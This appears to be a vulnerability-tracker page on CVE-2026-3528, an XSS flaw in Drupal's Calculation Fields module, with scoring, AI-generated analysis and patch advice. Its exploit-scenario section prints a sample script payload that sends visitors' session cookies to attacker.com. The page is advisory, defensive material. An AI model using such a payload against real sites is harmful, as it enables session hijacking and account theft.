Skip to main content

Calculation Fields EUVDEUVD-2026-16381

| CVE-2026-3528 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-26 drupal
6.1
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While a CVSS score and vector are not provided in the intelligence data, the CWE-79 classification and vulnerability type indicate this is a network-accessible XSS vulnerability typical of Drupal module flaws, which often have CVSS scores in the 6.0-7.5 range (medium to high severity depending on stored vs. reflected context and authentication requirements). The absence of EPSS probability scores and KEV status listing prevents quantitative exploitation forecasting; however, Drupal-specific vulnerabilities have historically seen moderate exploitation rates once proof-of-concept code circulates. The real-world risk depends on: (1) whether the XSS is stored (persistent, higher impact) or reflected (requires social engineering); (2) Drupal site exposure and user privileges; and (3) deployment of the Calculation Fields module in production environments. Given the specific vendor advisory reference and documented fix version (1.0.4), this appears to be a confirmed and patched vulnerability with lower current risk to actively maintained sites, but residual risk remains high for unpatched legacy deployments. Authentication requirements are not confirmed from available data.

Exploit ScenarioDerived

An attacker crafts a malicious input containing JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and submits it through a form field or API endpoint that feeds into a Calculation Fields calculation. When the calculated value is rendered on a page view-such as in a node display or report-the unescaped payload executes in the browser of any user visiting that page, silently exfiltrating their session cookie or redirecting them to a phishing site. If the calculation field accepts stored user input (rather than only dynamic calculations), the payload persists and affects all subsequent viewers, creating a widespread stored XSS vulnerability. No public exploit code has been identified at time of analysis, reducing immediate practical risk.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

Cross-site scripting (XSS) in Drupal Calculation Fields module versions prior to 1.0.4 permits remote attackers to inject arbitrary JavaScript into dynamically generated web pages, enabling session hijacking, credential theft, and malware distribution against users viewing affected pages. The vulnerability stems from improper input neutralization during calculation field rendering, affecting all installations running Calculation Fields 0.0.0 through 1.0.3. No public exploit code or active exploitation has been confirmed at time of analysis.

RemediationAI

Upgrade Drupal Calculation Fields to version 1.0.4 or later immediately (see Drupal security advisory at https://www.drupal.org/sa-contrib-2026-023 for patch delivery). Site administrators should apply the update through Drupal's module management interface or manually via Composer/Drush. Until patching can be completed, implement defense-in-depth measures: enforce Content Security Policy (CSP) headers with script-src restrictions to mitigate stored XSS impact, disable the Calculation Fields module if not actively in use, restrict administrative access to calculation field configuration, and conduct a content audit to identify and remove any malicious payloads in existing calculated field values. Monitor Drupal logs for suspicious calculation field input patterns and user access anomalies post-patch.

Affected VersionsENISA

Calculation Fields 0.0.0 <1.0.4

Affected Packages

composer drupal/calculation_fields fix: 1.0.4
euvd calculation_fields fix: 1.0.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Drupal Calculation Fields module (CPE: cpe:2.3:a:drupal:calculation_fields:*:*:*:*:*:*:*:*) is a contributed module for the Drupal content management system that allows administrators to define custom calculated field values. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic reflective or stored XSS flaw where user-controlled or calculation-derived data is rendered into HTML output without proper escaping or sanitization. When calculation field logic processes user input or external data sources, the resulting values are written to the page DOM without sufficient output encoding, allowing malicious payloads to execute in the context of the victim's browser session with the privileges of the authenticated Drupal user.

Know when Calculation Fields gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 26, 2026 - 20:03 nvd
MEDIUM 6.1

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") vulnerability in Drupal Calculation Fields allows Cross-Site Scripting (XSS).This issue affects Calculation Fields: from 0.0.0 before 1.0.4.

Executive ViewAI

Why It Matters

CVE-2026-3528 presents moderate security risk, a cross-site scripting vulnerability rated CVSS 6.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy